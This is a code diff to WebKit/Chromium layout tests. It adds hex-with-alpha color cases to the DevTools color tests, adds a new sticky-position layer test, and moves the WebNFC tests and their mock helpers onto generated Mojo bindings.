--- a/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum-expected.txt
+++ b/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum-expected.txt
@@ -5,8 +5,12 @@
 red
 Testing: #ABC
 #abc
+Testing: #ABCA
+#abca
 Testing: #ABCDEF
 #abcdef
+Testing: #ABCDEFAA
+#abcdefaa
 Testing: rgb(1, 2, 3)
 rgb(1, 2, 3)
 Testing: rgba(1, 2, 3, 0.2)
@@ -17,11 +21,15 @@
 hsla(1, 100%, 50%, 0.2)
 --- Testing alpha changes
 Testing: red
-rgba(255, 0, 0, 0)
+#ff000000
 Testing: #ABC
-rgba(170, 187, 204, 0)
+#abc0
+Testing: #ABCA
+#abc0
 Testing: #ABCDEF
-rgba(171, 205, 239, 0)
+#abcdef00
+Testing: #ABCDEFAA
+#abcdef00
 Testing: rgb(1, 2, 3)
 rgba(1, 2, 3, 0)
 Testing: rgba(1, 2, 3, 0.2)
@@ -37,19 +45,25 @@
 Testing: #ABC
 rgb
 hsl
+Testing: #ABCA
+rgb
+hsl
 Testing: #ABCDEF
 rgb
 hsl
+Testing: #ABCDEFAA
+rgb
+hsl
 Testing: rgb(1, 2, 3)
 hsl
 hex
 Testing: rgba(1, 2, 3, 0.2)
 hsl
-rgb
+hex
 Testing: hsl(1, 100%, 50%)
 hex
 rgb
 Testing: hsla(1, 100%, 50%, 0.2)
+hex
 rgb
-hsl
 
diff --git a/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum.html b/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum.html
index 6fa0065..56cb0f12 100644
--- a/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum.html
+++ b/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum.html
@@ -12,7 +12,7 @@
         var color = Common.Color.parse(inputColor);
         spectrum.setColor(color, format);
     }
-    
+
     function checkColorString(inputColor, format)
     {
         setColor(inputColor, format)
@@ -41,7 +41,9 @@
     var inputColors = [
         { string: "red", format: cf.Nickname },
         { string: "#ABC", format: cf.ShortHEX },
+        { string: "#ABCA", format: cf.ShortHEXA },
         { string: "#ABCDEF", format: cf.HEX },
+        { string: "#ABCDEFAA", format: cf.HEXA },
         { string: "rgb(1, 2, 3)", format: cf.RGB },
         { string: "rgba(1, 2, 3, 0.2)", format: cf.RGB },
         { string: "hsl(1, 100%, 50%)", format: cf.HSL },
diff --git a/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values-expected.txt b/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values-expected.txt
index 29d72a7..bc9e06a8 100644
--- a/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values-expected.txt
+++ b/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values-expected.txt
@@ -9,6 +9,8 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
@@ -18,6 +20,41 @@
   nickname: red
   hex: #ff0000
   shorthex: #F00
+  hexa: #ff0000ff
+  shorthexa: #f00f
+  rgb: rgb(255, 0, 0)
+  hsl: hsl(0, 100%, 50%)
+
+color: #F00F
+  simple: true
+  original: #F00F
+  nickname: red
+  hex: #ff0000
+  shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #F00F
+  rgb: rgb(255, 0, 0)
+  hsl: hsl(0, 100%, 50%)
+
+color: #FF0000
+  simple: true
+  original: #FF0000
+  nickname: red
+  hex: #FF0000
+  shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
+  rgb: rgb(255, 0, 0)
+  hsl: hsl(0, 100%, 50%)
+
+color: #FF0000FF
+  simple: true
+  original: #FF0000FF
+  nickname: red
+  hex: #ff0000
+  shorthex: #f00
+  hexa: #FF0000FF
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
@@ -27,6 +64,8 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255,0,0)
   hsl: hsl(0, 100%, 50%)
 
@@ -36,6 +75,8 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
@@ -45,6 +86,8 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
@@ -54,12 +97,16 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
 color: rgba(0,0,0,0.5)
   simple: false
   original: rgba(0,0,0,0.5)
+  hexa: #00000080
+  shorthexa: null
   rgb: null
   rgba: rgba(0,0,0,0.5)
   hsl: null
@@ -71,6 +118,8 @@
   nickname: blue
   hex: #0000ff
   shorthex: #00f
+  hexa: #0000ffff
+  shorthexa: #00ff
   rgb: rgb(0, 0, 255)
   hsl: hsl(-120, 100%, 50%)
 
@@ -80,6 +129,8 @@
   nickname: white
   hex: #ffffff
   shorthex: #fff
+  hexa: #ffffffff
+  shorthexa: #ffff
   rgb: rgb(255, 255, 255)
   hsl: hsl(-120, 200%, 200%)
 
@@ -89,6 +140,8 @@
   nickname: black
   hex: #000000
   shorthex: #000
+  hexa: #000000ff
+  shorthexa: #000f
   rgb: rgb(0, 0, 0)
   hsl: hsl(0, 0%, 0%)
 
@@ -96,6 +149,8 @@
   simple: false
   original: hsla(-120, -200%, -200%, -5)
   nickname: transparent
+  hexa: #00000000
+  shorthexa: #0000
   rgb: null
   rgba: rgba(0, 0, 0, 0)
   hsl: null
@@ -104,6 +159,8 @@
 color: hsla(240,100%,50%,0.05)
   simple: false
   original: hsla(240,100%,50%,0.05)
+  hexa: #0000ff0d
+  shorthexa: null
   rgb: null
   rgba: rgba(0, 0, 255, 0.05)
   hsl: null
@@ -114,6 +171,8 @@
   original: hsl(200.5,0%,50%)
   nickname: grey
   hex: #808080
+  hexa: #808080ff
+  shorthexa: null
   rgb: rgb(128, 128, 128)
   hsl: hsl(200.5,0%,50%)
 
@@ -121,12 +180,16 @@
   simple: true
   original: hsla(200,1.5%,50%,1)
   hex: #7e8081
+  hexa: #7e8081ff
+  shorthexa: null
   rgb: rgb(126, 128, 129)
   hsl: hsl(200, 1%, 50%)
 
 color: rgba(0,0,0,.5)
   simple: false
   original: rgba(0,0,0,.5)
+  hexa: #00000080
+  shorthexa: null
   rgb: null
   rgba: rgba(0,0,0,.5)
   hsl: null
@@ -135,6 +198,8 @@
 color: hsla(.5,.5%,.5%,.5)
   simple: false
   original: hsla(.5,.5%,.5%,.5)
+  hexa: #01010180
+  shorthexa: null
   rgb: null
   rgba: rgba(1, 1, 1, 0.5)
   hsl: null
@@ -143,6 +208,8 @@
 color: hsla(100.5,50.5%,50.5%,.5)
   simple: false
   original: hsla(100.5,50.5%,50.5%,.5)
+  hexa: #6ac14180
+  shorthexa: null
   rgb: null
   rgba: rgba(106, 193, 65, 0.5)
   hsl: null
@@ -151,6 +218,8 @@
 color: rgba(255, 0, 0, -5)
   simple: false
   original: rgba(255, 0, 0, -5)
+  hexa: #ff000000
+  shorthexa: #f000
   rgb: null
   rgba: rgba(255, 0, 0, 0)
   hsl: null
@@ -162,6 +231,8 @@
   nickname: red
   hex: #ff0000
   shorthex: #f00
+  hexa: #ff0000ff
+  shorthexa: #f00f
   rgb: rgb(255, 0, 0)
   hsl: hsl(0, 100%, 50%)
 
@@ -169,8 +240,6 @@
 
 SUCCESS: parsed invalid color none to null
 
-SUCCESS: parsed invalid color #0000 to null
-
 SUCCESS: parsed invalid color #00000 to null
 
 SUCCESS: parsed invalid color #ggg to null
diff --git a/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values.html b/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values.html
index f3a4be1..701e99e 100644
--- a/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values.html
+++ b/third_party/WebKit/LayoutTests/inspector/elements/styles-4/styles-invalid-color-values.html
@@ -9,6 +9,9 @@
         // Each of these is red. Some may need to be clipped to [0, 255].
         'red',
         '#F00',
+        '#F00F',
+        '#FF0000',
+        '#FF0000FF',
         'rgb(255,0,0)',
         'rgb(300,0,0)',        // clipped to rgb(255,0,0)
         'rgb(255,-10,0)',      // clipped to rgb(255,0,0)
@@ -35,7 +38,6 @@
     var invalidColors = [
         // An invalid color, eg a value for a shorthand like 'border' which can have a color
         'none',
-        '#0000',
         '#00000',
         '#ggg',
         'rgb(a,b,c)',
@@ -98,7 +100,7 @@
             if (color.hasAlpha() && (colorFormat === cf.ShortHEX || colorFormat === cf.HEX))
                 continue;
             // If there is no ShortHEX then skip it.
-            if (colorFormat === cf.ShortHEX && !color.canBeShortHex())
+            if (colorFormat === cf.ShortHEX && color.detectHEXFormat() !== cf.ShortHEX)
                 continue;
             // If there is no nickname, then skip it.
             if (colorFormat === cf.Nickname && !color.nickname())
diff --git a/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get-expected.txt b/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get-expected.txt
new file mode 100644
index 0000000..69dde5ab
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get-expected.txt
@@ -0,0 +1,67 @@
+ Sticky position constraint
+Model elements dump
+{
+    _containingBlockRect : {
+        height : 400
+        width : 100
+        x : 0
+        y : 0
+    }
+    _nearestLayerShiftingContainingBlock : null
+    _nearestLayerShiftingStickyBox : null
+    _stickyBoxRect : {
+        height : 50
+        width : 50
+        x : 0
+        y : 0
+    }
+}
+{
+    _containingBlockRect : {
+        height : 50
+        width : 50
+        x : 0
+        y : 0
+    }
+    _nearestLayerShiftingContainingBlock : <object>
+    _nearestLayerShiftingStickyBox : null
+    _stickyBoxRect : {
+        height : 25
+        width : 25
+        x : 0
+        y : 0
+    }
+}
+{
+    _containingBlockRect : {
+        height : 350
+        width : 100
+        x : 0
+        y : 0
+    }
+    _nearestLayerShiftingContainingBlock : null
+    _nearestLayerShiftingStickyBox : null
+    _stickyBoxRect : {
+        height : 0
+        width : 0
+        x : 0
+        y : 0
+    }
+}
+{
+    _containingBlockRect : {
+        height : 350
+        width : 100
+        x : 0
+        y : 0
+    }
+    _nearestLayerShiftingContainingBlock : null
+    _nearestLayerShiftingStickyBox : <object>
+    _stickyBoxRect : {
+        height : 0
+        width : 0
+        x : 0
+        y : 0
+    }
+}
+
diff --git a/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get.html b/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get.html
new file mode 100644
index 0000000..570f5ad
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/inspector/layers/layer-sticky-position-constraint-get.html
@@ -0,0 +1,76 @@
+<html>
+<head>
+<script src="../../http/tests/inspector/inspector-test.js"></script>
+<script src="../../http/tests/inspector/layers-test.js"></script>
+<script>
+function test()
+{
+    function onGotLayers()
+    {
+      InspectorTest.addResult("Sticky position constraint");
+      InspectorTest.dumpModelStickyPositionConstraint();
+      InspectorTest.completeTest();
+    }
+
+    InspectorTest.requestLayers(onGotLayers);
+}
+</script>
+<style>
+.scroller {
+  height: 100px;
+  width: 100px;
+  overflow-y: scroll;
+  overflow-x: hidden;
+}
+
+.composited {
+  will-change: transform;
+}
+
+.inline {
+  display: inline;
+}
+
+.sticky {
+  position: sticky;
+  top: 10px;
+}
+
+.large-box {
+  height: 50px;
+  width: 50px;
+  background-color: green;
+}
+
+.small-box {
+  height: 25px;
+  width: 25px;
+  background-color: blue;
+}
+
+.padding {
+  height: 350px;
+  width: 100px;
+}
+</style>
+</head>
+<body onload="runTest()">
+
+<!-- General stickyPositionConstraint test. -->
+<div class="composited scroller">
+  <div class="composited sticky large-box">
+    <div class="composited sticky small-box" style="top: 20px;"></div>
+  </div>
+  <div class="padding"></div>
+</div>
+
+<!-- Test _nearestLayerShiftingStickyBox is filled correctly. -->
+<div class="composited scroller">
+  <div class="composited inline sticky">
+    <div class="composited inline sticky" style="top: 20px;">
+    </div>
+  </div>
+  <div class="padding"></div>
+</div>
+</body>
+</html>
diff --git a/third_party/WebKit/LayoutTests/media/track/track-css-matching-default.html b/third_party/WebKit/LayoutTests/media/track/track-css-matching-default.html
index 7742217..b3984586 100644
--- a/third_party/WebKit/LayoutTests/media/track/track-css-matching-default.html
+++ b/third_party/WebKit/LayoutTests/media/track/track-css-matching-default.html
@@ -18,7 +18,7 @@
 
     video.onseeked = t.step_func_done(function() {
         var cueNode = textTrackCueElementByIndex(video, 0).firstChild.firstElementChild;
-        assert_equals(getComputedStyle(cueNode).fontWeight, '700');
+        assert_equals(getComputedStyle(cueNode).fontWeight, 'bold');
         cueNode = cueNode.nextElementSibling;
         assert_equals(getComputedStyle(cueNode).fontStyle, 'italic');
         cueNode = cueNode.nextElementSibling;
@@ -27,4 +27,4 @@
     
     video.currentTime = 0.1;
 });
-</script>
+</script>
\ No newline at end of file
diff --git a/third_party/WebKit/LayoutTests/nfc/mock-nfc.html b/third_party/WebKit/LayoutTests/nfc/mock-nfc.html
index 5bb8ca6..08e5c5c 100644
--- a/third_party/WebKit/LayoutTests/nfc/mock-nfc.html
+++ b/third_party/WebKit/LayoutTests/nfc/mock-nfc.html
@@ -2,14 +2,14 @@
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
 <script src="../resources/testharness-helpers.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/nfc.mojom.js"></script>
 <script src="resources/nfc-helpers.js"></script>
 <script>
 
 'use strict';
 
-nfc_test(nfc => {
-  assert_true(nfc instanceof Object);
-  assert_true(nfc.mockNFC instanceof Object);
+nfc_test(() => {
+  assert_true(mockNFC instanceof Object);
 }, 'NFC Mojo bindings and mock interfaces are available to tests.')
-</script>
\ No newline at end of file
+</script>
diff --git a/third_party/WebKit/LayoutTests/nfc/nfc-block-iframe.html b/third_party/WebKit/LayoutTests/nfc/nfc-block-iframe.html
index 8ee6e38..50c1271 100644
--- a/third_party/WebKit/LayoutTests/nfc/nfc-block-iframe.html
+++ b/third_party/WebKit/LayoutTests/nfc/nfc-block-iframe.html
@@ -1,31 +1,24 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/nfc.mojom.js"></script>
 <script src="resources/nfc-helpers.js"></script>
+<body>
 <script>
 'use strict';
 
-nfc_test(nfc => {
+nfc_test(() => {
+  let iframe = document.createElement('iframe');
+  iframe.src = 'resources/push-from-iframe.html';
+  iframe.onload = () => {
+    mockNFC.attachToWindow(iframe.contentWindow);
+    iframe.contentWindow.postMessage('Ready', '*');
+  }
+
+  document.body.appendChild(iframe);
+
   return new Promise((resolve,reject) => {
-    let iframeMockNFC = new nfc.MockNFC;
-    let iframe = document.createElement('iframe');
-    iframe.src = 'resources/push-from-iframe.html';
-    iframe.onload = () => {
-      iframe.contentWindow.gin.define(
-          "Mojo Service Registry",
-          [ 'content/public/renderer/frame_interfaces' ],
-          (frameInterfaces) => {
-            frameInterfaces.addInterfaceOverrideForTesting(
-            nfc.NFC.name,
-            handle => { iframeMockNFC.bindingSet.addBinding(
-                iframeMockNFC, handle); });
-        iframe.contentWindow.postMessage('Ready', '*');
-      });
-    }
-
-    document.body.appendChild(iframe);
-
     window.onmessage = message => {
       if (message.data == 'Success') {
         resolve();
@@ -36,4 +29,5 @@
   });
 }, 'Test that WebNFC API is not accessible from iframe context.');
 
-</script>
\ No newline at end of file
+</script>
+</body>
diff --git a/third_party/WebKit/LayoutTests/nfc/push.html b/third_party/WebKit/LayoutTests/nfc/push.html
index c3fc515..3cb15210 100644
--- a/third_party/WebKit/LayoutTests/nfc/push.html
+++ b/third_party/WebKit/LayoutTests/nfc/push.html
@@ -1,7 +1,8 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/nfc.mojom.js"></script>
 <script src="resources/nfc-helpers.js"></script>
 <script>
 
@@ -67,121 +68,116 @@
       createMessage([createRecord('json', 'custom/app+json', test_json_data)]),
     ];
 
-nfc_test(nfc => {
+nfc_test(() => {
   let promises = [];
   invalid_type_messages.forEach(message => {
     promises.push(
         assertRejectsWithError(navigator.nfc.push(message), 'TypeError'));
   });
-  return Promise.all(promises)
+  return Promise.all(promises);
 }, 'Test that promise is rejected with TypeError if NFCMessage is invalid.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   let promises = [];
   invalid_syntax_messages.forEach(message => {
     promises.push(
         assertRejectsWithError(navigator.nfc.push(message), 'SyntaxError'));
   });
-  return Promise.all(promises)
+  return Promise.all(promises);
 }, 'Test that promise is rejected with SyntaxError if NFCMessage contains' +
     ' invalid records.');
 
-nfc_test(nfc => {
-  nfc.mockNFC.setHWStatus(NFCHWStatus.DISABLED);
+nfc_test(() => {
+  mockNFC.setHWStatus(NFCHWStatus.DISABLED);
   return assertRejectsWithError(navigator.nfc.push(test_text_data),
                                 'NotSupportedError');
 }, 'nfc.push should fail when NFC HW is disabled.');
 
-nfc_test(nfc => {
-  nfc.mockNFC.setHWStatus(NFCHWStatus.NOT_SUPPORTED);
+nfc_test(() => {
+  mockNFC.setHWStatus(NFCHWStatus.NOT_SUPPORTED);
   return assertRejectsWithError(navigator.nfc.push(test_text_data),
                                 'NotSupportedError');
 }, 'nfc.push should fail when NFC HW is not supported.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.push(test_text_data, { timeout: 1 });
 }, 'nfc.push should succeed when NFC HW is enabled');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(
       navigator.nfc.push(test_text_data, { timeout: 'invalid' }), 'TypeError');
 }, 'nfc.push should fail when invalid timeout is provided');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(
       navigator.nfc.push(test_text_data, { timeout: -1 }), 'TypeError');
 }, 'nfc.push should fail when invalid negative timeout value is provided');
 
-nfc_test(nfc => {
-  nfc.mockNFC.setPendingPushCompleted(false);
+nfc_test(() => {
+  mockNFC.setPendingPushCompleted(false);
   return assertRejectsWithError(
       navigator.nfc.push(test_text_data,{ timeout: 1 }),
       'TimeoutError');
 }, 'nfc.push should fail with TimeoutError when push operation is not' +
     ' completed before specified timeout value.');
 
-nfc_test(nfc => {
+nfc_test(async () => {
   let message = createMessage([createTextRecord(test_text_data),
                                createJsonRecord(test_json_data),
                                createOpaqueRecord(test_buffer_data),
                                createTextRecord(test_number_data),
                                createUrlRecord(test_url_data)],
                                test_message_origin);
-  return navigator.nfc.push(message).then(() => {
-    nfc.assertNFCMessagesEqual(message, nfc.mockNFC.pushedMessage());
-  });
+  await navigator.nfc.push(message);
+  assertNFCMessagesEqual(message, mockNFC.pushedMessage());
 }, 'nfc.push NFCMessage containing text, json, opaque and url records with'
     + ' default NFCPushOptions.');
 
-nfc_test(nfc => {
-  return navigator.nfc.push(test_text_data).then(() => {
-    nfc.assertNFCMessagesEqual(test_text_data, nfc.mockNFC.pushedMessage());
-  });
+nfc_test(async () => {
+  await navigator.nfc.push(test_text_data);
+  assertNFCMessagesEqual(test_text_data, mockNFC.pushedMessage());
 }, 'nfc.push String with default NFCPushOptions.');
 
-nfc_test(nfc => {
-  return navigator.nfc.push(test_buffer_data).then(() => {
-    nfc.assertNFCMessagesEqual(test_buffer_data, nfc.mockNFC.pushedMessage());
-  });
+nfc_test(async () => {
+  await navigator.nfc.push(test_buffer_data);
+  assertNFCMessagesEqual(test_buffer_data, mockNFC.pushedMessage());
 }, 'nfc.push ArrayBuffer with default NFCPushOptions.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.push(createMessage([createRecord('empty')]));
 }, 'nfc.push with "empty" record should succeed.');
 
-nfc_test(nfc => {
-  return navigator.nfc.push(test_text_data).then(() => {
-    nfc.assertNFCPushOptionsEqual(createNFCPushOptions('any', Infinity, true),
-        nfc.mockNFC.pushOptions());
-  });
+nfc_test(async () => {
+  await navigator.nfc.push(test_text_data);
+  assertNFCPushOptionsEqual(createNFCPushOptions('any', Infinity, true),
+                            mockNFC.pushOptions());
 }, 'Check that default NFCPushOptions values are correctly set.');
 
-nfc_test(nfc => {
+nfc_test(async () => {
   let nfcPushOptions = createNFCPushOptions('tag', 1, false);
-  return navigator.nfc.push(test_text_data, nfcPushOptions).then(() => {
-    nfc.assertNFCPushOptionsEqual(nfcPushOptions, nfc.mockNFC.pushOptions());
-  });
+  await navigator.nfc.push(test_text_data, nfcPushOptions);
+  assertNFCPushOptionsEqual(nfcPushOptions, mockNFC.pushOptions());
 }, 'Check that provided NFCPushOptions values are correctly converted.');
 
-nfc_test(nfc => {
-  return navigator.nfc.push(test_text_data)
-      .then(() => { return navigator.nfc.cancelPush(); });
-}, 'nfc.cancelPush should succeed if there is pending push operation.');
+nfc_test(async () => {
+  await navigator.nfc.push(test_text_data);
+  await navigator.nfc.cancelPush();
+}, 'nfc.cancelPush should succeed if there is not a pending push operation.');
 
-nfc_test(nfc => {
-  nfc.mockNFC.setPendingPushCompleted(false);
+nfc_test(async () => {
+  mockNFC.setPendingPushCompleted(false);
   let promise = navigator.nfc.push(test_text_data, { timeout: 100 });
-  navigator.nfc.cancelPush();
-  return assertRejectsWithError(promise, 'AbortError');
+  await navigator.nfc.cancelPush();
+  await assertRejectsWithError(promise, 'AbortError');
 }, 'nfc.cancelPush should reject pending promise with AbortError.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(
       navigator.nfc.push(new ArrayBuffer(32 * 1024 + 1)),
       'NotSupportedError');
 }, 'Reject promise with NotSupportedError if NFC message size exceeds 32KB.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   let message = createMessage([createTextRecord(test_text_data)]);
   message.url = '%00/invalid/ path';
   return assertRejectsWithError(
@@ -190,7 +186,7 @@
 }, 'Reject promise with SyntaxError if WebNFC Id cannot be created from' +
    ' provided URL.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   let message = createMessage([createRecord('json','application/json',
       { get x(){ return this; } })]);
   return assertRejectsWithError(
diff --git a/third_party/WebKit/LayoutTests/nfc/resources/nfc-helpers.js b/third_party/WebKit/LayoutTests/nfc/resources/nfc-helpers.js
index 70df000..a28b374 100644
--- a/third_party/WebKit/LayoutTests/nfc/resources/nfc-helpers.js
+++ b/third_party/WebKit/LayoutTests/nfc/resources/nfc-helpers.js
@@ -67,365 +67,376 @@
   return createRecord('url', 'text/plain', url);
 }
 
-function nfc_mocks(mojo) {
-  return define('NFC mocks', [
-    'mojo/public/js/bindings',
-    'services/device/public/interfaces/nfc.mojom',
-  ], (bindings, nfc) => {
+function toMojoNFCRecordType(type) {
+  switch (type) {
+  case 'text':
+    return device.mojom.NFCRecordType.TEXT;
+  case 'url':
+    return device.mojom.NFCRecordType.URL;
+  case 'json':
+    return device.mojom.NFCRecordType.JSON;
+  case 'opaque':
+    return device.mojom.NFCRecordType.OPAQUE_RECORD;
+  }
 
-    function toMojoNFCRecordType(type) {
-      switch (type) {
-      case 'text':
-        return nfc.NFCRecordType.TEXT;
-      case 'url':
-        return nfc.NFCRecordType.URL;
-      case 'json':
-        return nfc.NFCRecordType.JSON;
-      case 'opaque':
-        return nfc.NFCRecordType.OPAQUE_RECORD;
-      }
-
-      return nfc.NFCRecordType.EMPTY;
-    }
-
-    function toMojoNFCPushTarget(target) {
-      switch (target) {
-      case 'any':
-        return nfc.NFCPushTarget.ANY;
-      case 'peer':
-        return nfc.NFCPushTarget.PEER;
-      case 'tag':
-        return nfc.NFCPushTarget.TAG;
-      }
-
-      return nfc.NFCPushTarget.ANY;
-    }
-
-    function toMojoNFCWatchMode(mode) {
-      if (mode === 'web-nfc-only')
-        return nfc.NFCWatchMode.WEBNFC_ONLY;
-      return nfc.NFCWatchMode.ANY;
-    }
-
-    // Converts between NFCMessage https://w3c.github.io/web-nfc/#dom-nfcmessage
-    // and mojo::NFCMessage structure, so that nfc.watch function can be tested.
-    function toMojoNFCMessage(message) {
-      let nfcMessage = new nfc.NFCMessage();
-      nfcMessage.url = message.url;
-      nfcMessage.data = [];
-      for (let record of message.records)
-        nfcMessage.data.push(toMojoNFCRecord(record));
-      return nfcMessage;
-    }
-
-    function toMojoNFCRecord(record) {
-      let nfcRecord = new nfc.NFCRecord();
-      nfcRecord.record_type = toMojoNFCRecordType(record.recordType);
-      nfcRecord.media_type = record.mediaType;
-      nfcRecord.data = toByteArray(record.data);
-      return nfcRecord;
-    }
-
-    function toByteArray(data) {
-      // Convert JS objects to byte array
-      let byteArray;
-      let tmpData = data;
-
-      if (tmpData instanceof ArrayBuffer)
-        byteArray = new Uint8Array(tmpData);
-      else if (typeof tmpData === 'object' || typeof tmpData === 'number')
-        tmpData = JSON.stringify(tmpData);
-
-      if (typeof tmpData === 'string')
-        byteArray = new TextEncoder('utf-8').encode(tmpData);
-
-      return byteArray;
-    }
-
-    // Compares NFCMessage that was provided to the API
-    // (e.g. navigator.nfc.push), and NFCMessage that was received by the
-    // mock NFC service.
-    function assertNFCMessagesEqual(providedMessage, receivedMessage) {
-      // If simple data type is passed, e.g. String or ArrayBuffer, convert it
-      // to NFCMessage before comparing.
-      // https://w3c.github.io/web-nfc/#idl-def-nfcpushmessage
-      let provided = providedMessage;
-      if (providedMessage instanceof ArrayBuffer)
-        provided = createMessage([createOpaqueRecord(providedMessage)]);
-      else if (typeof providedMessage === 'string')
-        provided = createMessage([createTextRecord(providedMessage)]);
-
-      assert_equals(provided.records.length, receivedMessage.data.length,
-          'NFCMessages must have same number of NFCRecords');
-
-      // Compare contents of each individual NFCRecord
-      for (let i = 0; i < provided.records.length; ++i)
-        compareNFCRecords(provided.records[i], receivedMessage.data[i]);
-    }
-
-    // Used to compare two WebNFC messages, one that is provided to mock NFC
-    // service through triggerWatchCallback and another that is received by
-    // callback that is provided to navigator.nfc.watch function.
-    function assertWebNFCMessagesEqual(a, b) {
-      assert_equals(a.url, b.url);
-      assert_equals(a.records.length, b.records.length);
-      for(let i in a.records) {
-        let recordA = a.records[i];
-        let recordB = b.records[i];
-        assert_equals(recordA.recordType, recordB.recordType);
-        assert_equals(recordA.mediaType, recordB.mediaType);
-
-        if (recordA.data instanceof ArrayBuffer) {
-          assert_array_equals(new Uint8Array(recordA.data),
-              new Uint8Array(recordB.data));
-        } else if (typeof recordA.data === 'object') {
-          assert_object_equals(recordA.data, recordB.data);
-        }
-
-        if (typeof recordA.data === 'number'
-            || typeof recordA.data === 'string') {
-          assert_true(recordA.data == recordB.data);
-        }
-      }
-    }
-
-    // Compares NFCRecords that were provided / received by the mock service.
-    function compareNFCRecords(providedRecord, receivedRecord) {
-      assert_equals(toMojoNFCRecordType(providedRecord.recordType),
-                    receivedRecord.record_type);
-
-      // Compare media types without charset.
-      // Charset should be compared when watch method is implemented, in order
-      // to check that written and read strings are equal.
-      assert_equals(providedRecord.mediaType,
-          receivedRecord.media_type.substring(0, providedRecord.mediaType.length));
-
-      assert_false(toMojoNFCRecordType(providedRecord.recordType) ==
-                  nfc.NFCRecordType.EMPTY);
-
-      assert_array_equals(toByteArray(providedRecord.data),
-                          new Uint8Array(receivedRecord.data));
-    }
-
-    // Compares NFCPushOptions structures that were provided to API and
-    // received by the mock mojo service.
-    function assertNFCPushOptionsEqual(provided, received) {
-      if (provided.ignoreRead !== undefined)
-        assert_equals(provided.ignoreRead, !!+received.ignore_read);
-      else
-        assert_equals(!!+received.ignore_read, true);
-
-      if (provided.timeout !== undefined)
-        assert_equals(provided.timeout, received.timeout);
-      else
-        assert_equals(received.timeout, Infinity);
-
-      if (provided.target !== undefined)
-        assert_equals(toMojoNFCPushTarget(provided.target), received.target);
-      else
-        assert_equals(received.target, nfc.NFCPushTarget.ANY);
-    }
-
-    // Compares NFCWatchOptions structures that were provided to API and
-    // received by the mock mojo service.
-    function assertNFCWatchOptionsEqual(provided, received) {
-      if (provided.url !== undefined)
-        assert_equals(provided.url, received.url);
-      else
-        assert_equals(received.url, '');
-
-      if (provided.mediaType !== undefined)
-        assert_equals(provided.mediaType, received.media_type);
-      else
-        assert_equals(received.media_type, '');
-
-      if (provided.mode !== undefined)
-        assert_equals(toMojoNFCWatchMode(provided.mode), received.mode);
-      else
-        assert_equals(received.mode, nfc.NFCWatchMode.WEBNFC_ONLY);
-
-      if (provided.recordType !== undefined) {
-        assert_equals(!+received.record_filter, true);
-        assert_equals(toMojoNFCRecordType(provided.recordType),
-            received.record_filter.record_type);
-      }
-    }
-
-    function createNFCError(type) {
-      return { error: type ?
-          new nfc.NFCError({ error_type: type }) : null };
-    }
-
-    class MockNFC {
-      constructor() {
-        this.bindingSet = new bindings.BindingSet(nfc.NFC);
-
-        this.hw_status_ = NFCHWStatus.ENABLED;
-        this.pushed_message_ = null;
-        this.push_options_ = null;
-        this.pending_promise_func_ = null;
